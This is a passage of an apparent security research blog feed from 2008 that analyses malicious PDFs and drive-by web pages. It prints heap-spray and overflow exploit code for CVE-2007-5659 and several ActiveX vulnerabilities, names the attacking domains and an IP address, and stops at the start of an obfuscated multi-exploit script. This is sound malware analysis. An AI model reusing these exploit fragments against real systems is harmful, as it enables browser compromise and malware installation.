  &lt;span class="nx"&gt;ef6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;  &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%uf6eb%uf6eb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u0b0b%u0019&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;plin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u9090%u9090&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;sc&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u9090%u9090&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%ue7e9%ufff9&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%uffff%uffff&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%uf6eb%uf4eb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%uf2eb%uf1eb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;plin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;plin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u4141&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;plin&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;plin&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2626&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;ef6&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;viewerVersion&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mf"&gt;6.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;collabStore&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Collab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;collectEmailInfo&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="nx"&gt;subj&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;plin&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;shaft&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setTimeOut&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;start()&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The code exploits a vulnerability in the &lt;code&gt;collectEmailInfo&lt;/code&gt; method of
the &lt;code&gt;Collab&lt;/code&gt; object
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5659"&gt;CVE-2007-5659&lt;/a&gt;).
The shellcode used in the attack downloads an executable file from the
same site. Anubis has some &lt;a href="http://anubis.iseclab.org/?action=result&amp;amp;task_id=1bb052b6eb0bd8244c13edede6107c05c"&gt;interesting details&lt;/a&gt;
on the behavior of this
executable.&lt;/p&gt;

&lt;p&gt;Another interesting thing to note is that PDF files can contain quite a
few features and behaviors that may surprise and catch off-guard the attackers.
Make sure to read Didier Stevens'
&lt;a href="http://blog.didierstevens.com/2008/11/10/shoulder-surfing-a-malicious-pdf-author/
" title="Shoulder Surfing a Malicious PDF Author [didierstevens.com]"&gt;post&lt;/a&gt; on
how he used the incremental updates feature to reconstruct how the
malicious file was created.&lt;/p&gt;
</description><category>malware</category><category>javascript</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/11/malicious-pdfs.html</guid><pubDate>Thu, 13 Nov 2008 13:56:00 GMT</pubDate></item><item><title>18, 25  exploits: who gives more? Oh, and 2 bugs.</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/10/18-25-exploits-who-gives-more-oh-and-2-bugs.html</link><description>&lt;p&gt;Just a couple of weeks ago I was thinking that &lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/10/17-exploits-and-some-feng-shui.html"&gt;17 exploits&lt;/a&gt; in one
JavaScript attack were many. Well, it isn't so. 
I've recently stumbled upon a couple of pages that contain 18
and 25 different exploits. The domains that host the pages are,
respectively, &lt;strong&gt;google-analistyc.net&lt;/strong&gt; and &lt;strong&gt;85.17.166.230&lt;/strong&gt;.&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
   &lt;span class="nx"&gt;office&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;pdf&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;wme&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ya1&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ya2&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;fb&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;mdss&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;creative&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;wks&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ogame&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ca&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;buddy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;gomweb&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;xmlcore&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;quick&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;real&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ntaudio&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
   &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here are the exploits we haven't already seen:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The recent Windows Media Encoder
(&lt;code&gt;A8D3AD02-7508-4004-B2E9-AD33F087F43C&lt;/code&gt;) buffer overflow
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3008"&gt;CVE-2008-3008&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Yahoo! Webcam Uploader (&lt;code&gt;9D39223E-AE8E-11D4-8FD3-00D0B7730277&lt;/code&gt;) buffer overflow via long &lt;code&gt;server&lt;/code&gt; property
followed by an invocation of the &lt;code&gt;receive&lt;/code&gt; method
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3147"&gt;CVE-2007-3147&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Yahoo! Webcam Viewer (&lt;code&gt;DCE2F8B1-A520-11D4-8FD0-00D0B7730277&lt;/code&gt;) buffer overflow via long &lt;code&gt;server&lt;/code&gt; property followed
by an invocation of the &lt;code&gt;send&lt;/code&gt; method
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3148"&gt;CVE-2007-3148&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Aurigma/Facebook Photo Uploader (&lt;code&gt;5C6698D9-7BE4-4122-8EC5-291D84DBD4A0&lt;/code&gt;) overflow in the &lt;code&gt;ExtractIptc&lt;/code&gt; and
&lt;code&gt;ExtractExif&lt;/code&gt; properties
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0660"&gt;CVE-2008-0660&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;ActiveVoice (&lt;code&gt;EEE78591-FE22-11D0-8BEF-0060081841DE&lt;/code&gt;) buffer overflow via long &lt;code&gt;ModeName&lt;/code&gt; parameter in the
&lt;code&gt;FindEngine&lt;/code&gt; function
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2222"&gt;CVE-2007-2222&lt;/a&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The second page has 25 exploits:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
   &lt;span class="nx"&gt;mdac&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
       &lt;span class="nx"&gt;flash&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;pdf&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;wme&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;wfi&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;com&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ya1&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ya2&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;fb&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;mdss&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;cr1&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;cr2&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;cr3&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;cr4&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
           &lt;span class="nx"&gt;creative&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;wks&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ogame&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ca&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;buddy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;gomweb&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;xmlcore&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;quick&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;real&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ntaudio&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
   &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here, the "new" ones are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;iMesh (&lt;code&gt;7C3B01BC-53A5-48A0-A43B-0C67731134B9&lt;/code&gt;) overflow in SetHandler method 
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6493"&gt;CVE-2007-6493&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Stack-based overflow in Ask Toolbar
(&lt;code&gt;5A074B2B-F830-49de-A31B-5BB9D7F6B407&lt;/code&gt;)
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5107"&gt;CVE-2007-5107&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Stack-based overflow in IncrediMail IMMenuShellExt control
(&lt;code&gt;F8984111-38B6-11D5-8725-0050DA2761C4&lt;/code&gt;) via
DoWebMenuAction function
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1683"&gt;CVE-2007-1683&lt;/a&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now, regarding the second part of the title: there seem to be at least
two bugs in these exploit codes.&lt;/p&gt;

&lt;p&gt;First, the function &lt;code&gt;cr3&lt;/code&gt; instantiates the control
&lt;code&gt;07B18EAB-A523-4961-B6BB-170DE4475CCA&lt;/code&gt; and then sets the property
&lt;code&gt;ShortFormat&lt;/code&gt;. This property doesn't seem to exist. ShortFormat is,
instead, the attack vector for the exploit against the Ask Toolbar
(included in the &lt;code&gt;cr2&lt;/code&gt; function). It's probably a case of wrong
copy-and-paste.&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;cr3&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;cobj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;{07B18EAB-A523-4961-B6BB-170DE4475CCA}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;ms2&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nx"&gt;arg1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;\\x0c&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mh"&gt;0x200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;arg1&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;\\x0c&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ShortFormat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;arg1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;   
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Second, and this is present in both pages, the &lt;code&gt;mdss&lt;/code&gt; function gets
wrong its memory allocation. In fact, it creates a string (in the &lt;code&gt;buf&lt;/code&gt;
variable) and &lt;em&gt;doubles&lt;/em&gt; its length in a loop that should execute 9999
times. Of course, this doesn't bode well: the machine will likely lock
up before the offending process goes out of memory and, finally, gets
killed.&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;mdss&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;cobj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;{EEE78591-FE22-11D0-8BEF-0060081841DE}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
      &lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
      &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x0c0c0c0c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="mi"&gt;9999&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="nx"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
      &lt;span class="nx"&gt;EngineID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;default&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Interestingly, the original milw0rm exploit did the right thing:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u4141&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;261&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u4141&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Probably, another case of wrong copy-and-paste...&lt;/p&gt;
</description><category>malware</category><category>javascript</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/10/18-25-exploits-who-gives-more-oh-and-2-bugs.html</guid><pubDate>Wed, 29 Oct 2008 00:40:00 GMT</pubDate></item><item><title>17 exploits and some Feng Shui</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/10/17-exploits-and-some-feng-shui.html</link><description>&lt;p&gt;It is quite common for malicious JavaScript pages to package more than one
exploit together and attempt to run all of them against the victim browser.
But, what about 17 different exploits in the same script? &lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;v8P6GEVcq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cD5Q2LVDZD9t&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;from&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Char&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Code&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="nx"&gt;cD5Q2LVDZD9t&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;  
&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;sK5tVpH6uQTNjz&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;VqiKaGXn&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
